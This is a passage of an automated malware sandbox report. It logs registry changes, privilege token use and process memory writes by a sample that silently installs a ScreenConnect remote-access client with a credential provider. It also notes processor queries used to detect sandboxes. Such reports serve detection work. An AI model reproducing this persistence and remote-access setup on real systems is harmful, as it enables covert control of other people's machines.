Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 0000000004000000ee0681d78f5363a20000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000c01200000000ffffffff000000002701010000080000ee0681d70000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d01200000000000020ed35000000ffffffff000000000700010000680900ee0681d7000000000000d012000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff350000000000000005000000ffffffff000000000700010000f8ff1aee0681d7000000000000f0ff350000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff3a0000000000000005000000ffffffff000000000700010000f87f1dee0681d7000000000000f0ff3a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe

Checks processor information in registry 2 TTPs 4 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	ScreenConnect.WindowsClient.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	ScreenConnect.WindowsClient.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	ScreenConnect.WindowsClient.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	ScreenConnect.WindowsClient.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\@%SystemRoot%\System32\fveui.dll,-844 = "BitLocker Data Recovery Agent"	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\@%SystemRoot%\System32\wuaueng.dll,-400 = "Windows Update"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28	msiexec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	ScreenConnect.ClientSetup.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\RestartManager\Session0001\RegProcsHash = 05f2e08905f401d7126132c3fc9779dd474263b9d1730b86292520a820e5a341	msiexec.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\@%SystemRoot%\system32\dnsapi.dll,-103 = "Domain Name System (DNS) Server Trust"	powershell.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\RestartManager\Session0002	msiexec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	ScreenConnect.ClientService.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\RestartManager\Session0000\RegFilesHash = b48ac17bf8036bc5a598cccf377af231fcb1ae3387491f064051e591118361d5	msiexec.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\RestartManager\Session0002\Owner = 1405000095db356b6a2fdd01	msiexec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	ScreenConnect.ClientSetup.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	ScreenConnect.ClientService.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\@%SystemRoot%\System32\ci.dll,-101 = "Enclave"	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\RestartManager\Session0000\SessionHash = 06fb836f1fcebbe14a2409d215db035cf003abc853d8d07100829043625ed937	msiexec.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\RestartManager\Session0001\SessionHash = 62eb78aa4960d26d3383e6a47182b79047da270b9a8949c201562e4d56ba50a3	msiexec.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\28	msiexec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	ScreenConnect.ClientService.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\RestartManager\Session0000	msiexec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	ScreenConnect.WindowsClient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	ScreenConnect.WindowsClient.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\RestartManager\Session0001\Owner = fc130000745369896a2fdd01	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	ScreenConnect.ClientService.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\@%SystemRoot%\system32\NgcRecovery.dll,-100 = "Windows Hello Recovery Key Encryption"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\RestartManager\Session0000\Sequence = "3"	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\RestartManager\Session0001	msiexec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	ScreenConnect.ClientService.exe
Key created	\REGISTRY\USER\.DEFAULT\Software	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\@%SystemRoot%\System32\ci.dll,-100 = "Isolated User Mode (IUM)"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\RestartManager\Session0001	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	ScreenConnect.WindowsClient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	ScreenConnect.ClientService.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	ScreenConnect.WindowsClient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\RestartManager\Session0002\SessionHash = af03640565df997b574f35dc6923b257b84cc74c756a664654c5881c3ebdccdf	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	ScreenConnect.ClientSetup.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2a	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe

Modifies registry class 64 IoCs

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-3884-A7DA0D933E82}	msiexec.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\E36E4583DBC2A0AF5701B01D289E665E	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\A4DDA384B3C5182F82FA8F59CB01DAB3\ProductName = "ScreenConnect Client (01f7887e65212823)"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-01f7887e65212823\shell\open\command	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-01f7887e65212823\shell\open\command\ = "\"C:\\Program Files (x86)\\ScreenConnect Client (01f7887e65212823)\\ScreenConnect.WindowsClient.exe\" \"%1\""	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E36E4583DBC2A0AF5701B01D289E665E\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\ScreenConnect\\25.7.7.9426\\01f7887e65212823\\"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E36E4583DBC2A0AF5701B01D289E665E\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\ScreenConnect\\25.7.7.9426\\01f7887e65212823\\"	msiexec.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-01f7887e65212823	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\5693ADAF7D137D51107F88E756128232\E36E4583DBC2A0AF5701B01D289E665E	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E36E4583DBC2A0AF5701B01D289E665E\SourceList\Media\1 = ";"	msiexec.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E36E4583DBC2A0AF5701B01D289E665E	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\A4DDA384B3C5182F82FA8F59CB01DAB3\ProductIcon = "C:\\Windows\\Installer\\{483ADD4A-5C3B-F281-28AF-F895BC10AD3B}\\DefaultIcon"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\A4DDA384B3C5182F82FA8F59CB01DAB3\SourceList\Net	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E36E4583DBC2A0AF5701B01D289E665E	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E36E4583DBC2A0AF5701B01D289E665E\PackageCode = "E36E4583DBC2A0AF5701B01D289E665E"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\A4DDA384B3C5182F82FA8F59CB01DAB3\Assignment = "1"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E36E4583DBC2A0AF5701B01D289E665E\Version = "419889159"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\5693ADAF7D137D51107F88E756128232	msiexec.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-01f7887e65212823\shell	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\A4DDA384B3C5182F82FA8F59CB01DAB3\SourceList\Media	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-01f7887e65212823\shell\open	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-3884-A7DA0D933E82}\InprocServer32\ = "C:\\Program Files (x86)\\ScreenConnect Client (01f7887e65212823)\\ScreenConnect.WindowsCredentialProvider.dll"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\E36E4583DBC2A0AF5701B01D289E665E	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E36E4583DBC2A0AF5701B01D289E665E\InstanceType = "0"	msiexec.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E36E4583DBC2A0AF5701B01D289E665E\Clients = 3a0000000000	msiexec.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E36E4583DBC2A0AF5701B01D289E665E\SourceList\Net	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\A4DDA384B3C5182F82FA8F59CB01DAB3\SourceList\LastUsedSource = "n;1;C:\\Windows\\SystemTemp\\ScreenConnect\\26.5.3.9691\\01f7887e65212823\\"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-3884-A7DA0D933E82}\ = "ScreenConnect Client (01f7887e65212823) Credential Provider"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\E36E4583DBC2A0AF5701B01D289E665E\Full	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E36E4583DBC2A0AF5701B01D289E665E\SourceList\PackageName = "ScreenConnect.ClientSetup.msi"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\A4DDA384B3C5182F82FA8F59CB01DAB3\InstanceType = "0"	msiexec.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\A4DDA384B3C5182F82FA8F59CB01DAB3\Clients = 3a0000000000	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\CLSID\{6FF59A85-BC37-4CD4-3884-A7DA0D933E82}\InprocServer32	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E36E4583DBC2A0AF5701B01D289E665E\ProductName = "ScreenConnect Client (01f7887e65212823)"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E36E4583DBC2A0AF5701B01D289E665E\Language = "1033"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E36E4583DBC2A0AF5701B01D289E665E\Assignment = "1"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E36E4583DBC2A0AF5701B01D289E665E\SourceList	msiexec.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E36E4583DBC2A0AF5701B01D289E665E\SourceList	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\A4DDA384B3C5182F82FA8F59CB01DAB3	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\A4DDA384B3C5182F82FA8F59CB01DAB3\DeploymentFlags = "3"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-01f7887e65212823\shell	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E36E4583DBC2A0AF5701B01D289E665E\ProductIcon = "C:\\Windows\\Installer\\{3854E63E-2CBD-FA0A-7510-0BD182E966E5}\\DefaultIcon"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E36E4583DBC2A0AF5701B01D289E665E\SourceList\Net	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\A4DDA384B3C5182F82FA8F59CB01DAB3\AdvertiseFlags = "388"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\A4DDA384B3C5182F82FA8F59CB01DAB3\SourceList	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-01f7887e65212823\URL Protocol	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\sc-01f7887e65212823	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-01f7887e65212823\UseOriginalUrlEncoding = "1"	msiexec.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-3884-A7DA0D933E82}\InprocServer32	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\A4DDA384B3C5182F82FA8F59CB01DAB3\Language = "1033"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\A4DDA384B3C5182F82FA8F59CB01DAB3\AuthorizedLUAApp = "0"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\5693ADAF7D137D51107F88E756128232\A4DDA384B3C5182F82FA8F59CB01DAB3	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E36E4583DBC2A0AF5701B01D289E665E\AuthorizedLUAApp = "0"	msiexec.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E36E4583DBC2A0AF5701B01D289E665E\SourceList\Media	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\A4DDA384B3C5182F82FA8F59CB01DAB3\SourceList\Net\1 = "C:\\Windows\\SystemTemp\\ScreenConnect\\26.5.3.9691\\01f7887e65212823\\"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\sc-01f7887e65212823\shell\open\command	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-01f7887e65212823	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E36E4583DBC2A0AF5701B01D289E665E\AdvertiseFlags = "388"	msiexec.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-01f7887e65212823\shell\open\command	msiexec.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-01f7887e65212823\shell\open	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\A4DDA384B3C5182F82FA8F59CB01DAB3\SourceList\PackageName = "ScreenConnect.ClientSetup.msi"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-3884-A7DA0D933E82}\InprocServer32\ThreadingModel = "Apartment"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E36E4583DBC2A0AF5701B01D289E665E\SourceList\Media	msiexec.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\5693ADAF7D137D51107F88E756128232	msiexec.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1300	msiexec.exe
1300	msiexec.exe
2852	ScreenConnect.ClientService.exe
2852	ScreenConnect.ClientService.exe
2852	ScreenConnect.ClientService.exe
2852	ScreenConnect.ClientService.exe
2852	ScreenConnect.ClientService.exe
2852	ScreenConnect.ClientService.exe
1300	msiexec.exe
1300	msiexec.exe
1300	msiexec.exe
1300	msiexec.exe
1300	msiexec.exe
1300	msiexec.exe
1300	msiexec.exe
1300	msiexec.exe
1300	msiexec.exe
1300	msiexec.exe
5116	msiexec.exe
5116	msiexec.exe
5116	msiexec.exe
5116	msiexec.exe
5116	msiexec.exe
5116	msiexec.exe
5116	msiexec.exe
5116	msiexec.exe
5116	msiexec.exe
5116	msiexec.exe
1300	msiexec.exe
1300	msiexec.exe
1300	msiexec.exe
1300	msiexec.exe
1300	msiexec.exe
1300	msiexec.exe
1300	msiexec.exe
1300	msiexec.exe
1300	msiexec.exe
1300	msiexec.exe
5116	msiexec.exe
5116	msiexec.exe
5116	msiexec.exe
5116	msiexec.exe
5116	msiexec.exe
5116	msiexec.exe
5116	msiexec.exe
5116	msiexec.exe
5116	msiexec.exe
5116	msiexec.exe
1300	msiexec.exe
1300	msiexec.exe
4940	ScreenConnect.ClientService.exe
4940	ScreenConnect.ClientService.exe
1300	msiexec.exe
1300	msiexec.exe
1300	msiexec.exe
1300	msiexec.exe
1300	msiexec.exe
1300	msiexec.exe
1300	msiexec.exe
1300	msiexec.exe
1300	msiexec.exe
1300	msiexec.exe
1300	msiexec.exe
1300	msiexec.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4416	2026-08-18_6df9efdb596933d37203c8047c98ce39_amadey_elex_glassworm_hellokitty_icedid_luca-stealer_njr.exe
Token: SeShutdownPrivilege	2152	msiexec.exe
Token: SeIncreaseQuotaPrivilege	2152	msiexec.exe
Token: SeSecurityPrivilege	1300	msiexec.exe
Token: SeCreateTokenPrivilege	2152	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	2152	msiexec.exe
Token: SeLockMemoryPrivilege	2152	msiexec.exe
Token: SeIncreaseQuotaPrivilege	2152	msiexec.exe
Token: SeMachineAccountPrivilege	2152	msiexec.exe
Token: SeTcbPrivilege	2152	msiexec.exe
Token: SeSecurityPrivilege	2152	msiexec.exe
Token: SeTakeOwnershipPrivilege	2152	msiexec.exe
Token: SeLoadDriverPrivilege	2152	msiexec.exe
Token: SeSystemProfilePrivilege	2152	msiexec.exe
Token: SeSystemtimePrivilege	2152	msiexec.exe
Token: SeProfSingleProcessPrivilege	2152	msiexec.exe
Token: SeIncBasePriorityPrivilege	2152	msiexec.exe
Token: SeCreatePagefilePrivilege	2152	msiexec.exe
Token: SeCreatePermanentPrivilege	2152	msiexec.exe
Token: SeBackupPrivilege	2152	msiexec.exe
Token: SeRestorePrivilege	2152	msiexec.exe
Token: SeShutdownPrivilege	2152	msiexec.exe
Token: SeDebugPrivilege	2152	msiexec.exe
Token: SeAuditPrivilege	2152	msiexec.exe
Token: SeSystemEnvironmentPrivilege	2152	msiexec.exe
Token: SeChangeNotifyPrivilege	2152	msiexec.exe
Token: SeRemoteShutdownPrivilege	2152	msiexec.exe
Token: SeUndockPrivilege	2152	msiexec.exe
Token: SeSyncAgentPrivilege	2152	msiexec.exe
Token: SeEnableDelegationPrivilege	2152	msiexec.exe
Token: SeManageVolumePrivilege	2152	msiexec.exe
Token: SeImpersonatePrivilege	2152	msiexec.exe
Token: SeCreateGlobalPrivilege	2152	msiexec.exe
Token: SeCreateTokenPrivilege	2152	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	2152	msiexec.exe
Token: SeLockMemoryPrivilege	2152	msiexec.exe
Token: SeIncreaseQuotaPrivilege	2152	msiexec.exe
Token: SeMachineAccountPrivilege	2152	msiexec.exe
Token: SeTcbPrivilege	2152	msiexec.exe
Token: SeSecurityPrivilege	2152	msiexec.exe
Token: SeTakeOwnershipPrivilege	2152	msiexec.exe
Token: SeLoadDriverPrivilege	2152	msiexec.exe
Token: SeSystemProfilePrivilege	2152	msiexec.exe
Token: SeSystemtimePrivilege	2152	msiexec.exe
Token: SeProfSingleProcessPrivilege	2152	msiexec.exe
Token: SeIncBasePriorityPrivilege	2152	msiexec.exe
Token: SeCreatePagefilePrivilege	2152	msiexec.exe
Token: SeCreatePermanentPrivilege	2152	msiexec.exe
Token: SeBackupPrivilege	2152	msiexec.exe
Token: SeRestorePrivilege	2152	msiexec.exe
Token: SeShutdownPrivilege	2152	msiexec.exe
Token: SeDebugPrivilege	2152	msiexec.exe
Token: SeAuditPrivilege	2152	msiexec.exe
Token: SeSystemEnvironmentPrivilege	2152	msiexec.exe
Token: SeChangeNotifyPrivilege	2152	msiexec.exe
Token: SeRemoteShutdownPrivilege	2152	msiexec.exe
Token: SeUndockPrivilege	2152	msiexec.exe
Token: SeSyncAgentPrivilege	2152	msiexec.exe
Token: SeEnableDelegationPrivilege	2152	msiexec.exe
Token: SeManageVolumePrivilege	2152	msiexec.exe
Token: SeImpersonatePrivilege	2152	msiexec.exe
Token: SeCreateGlobalPrivilege	2152	msiexec.exe
Token: SeCreateTokenPrivilege	2152	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	2152	msiexec.exe

Suspicious use of FindShellTrayWindow 12 IoCs

pid	Process
2152	msiexec.exe
2152	msiexec.exe
224	ScreenConnect.WindowsClient.exe
224	ScreenConnect.WindowsClient.exe
224	ScreenConnect.WindowsClient.exe
224	ScreenConnect.WindowsClient.exe
224	ScreenConnect.WindowsClient.exe
224	ScreenConnect.WindowsClient.exe
3628	ScreenConnect.WindowsClient.exe
3628	ScreenConnect.WindowsClient.exe
3628	ScreenConnect.WindowsClient.exe
3628	ScreenConnect.WindowsClient.exe

Suspicious use of SendNotifyMessage 10 IoCs

pid	Process
224	ScreenConnect.WindowsClient.exe
224	ScreenConnect.WindowsClient.exe
224	ScreenConnect.WindowsClient.exe
224	ScreenConnect.WindowsClient.exe
224	ScreenConnect.WindowsClient.exe
224	ScreenConnect.WindowsClient.exe
3628	ScreenConnect.WindowsClient.exe
3628	ScreenConnect.WindowsClient.exe
3628	ScreenConnect.WindowsClient.exe
3628	ScreenConnect.WindowsClient.exe

Suspicious use of WriteProcessMemory 17 IoCs

description	pid	Process	procid_target
PID 4416 wrote to memory of 2152	4416	2026-08-18_6df9efdb596933d37203c8047c98ce39_amadey_elex_glassworm_hellokitty_icedid_luca-stealer_njr.exe	90
PID 1300 wrote to memory of 4712	1300	msiexec.exe	95
PID 4712 wrote to memory of 4572	4712	MsiExec.exe	96
PID 1300 wrote to memory of 652	1300	msiexec.exe	104
PID 1300 wrote to memory of 3788	1300	msiexec.exe	106
PID 1300 wrote to memory of 4392	1300	msiexec.exe	108
PID 2852 wrote to memory of 224	2852	ScreenConnect.ClientService.exe	111
PID 2852 wrote to memory of 4036	2852	ScreenConnect.ClientService.exe	114
PID 2852 wrote to memory of 4408	2852	ScreenConnect.ClientService.exe	116
PID 4408 wrote to memory of 5116	4408	ScreenConnect.ClientSetup.exe	117
PID 1300 wrote to memory of 640	1300	msiexec.exe	118
PID 640 wrote to memory of 1292	640	MsiExec.exe	119
PID 4940 wrote to memory of 3628	4940	ScreenConnect.ClientService.exe	121
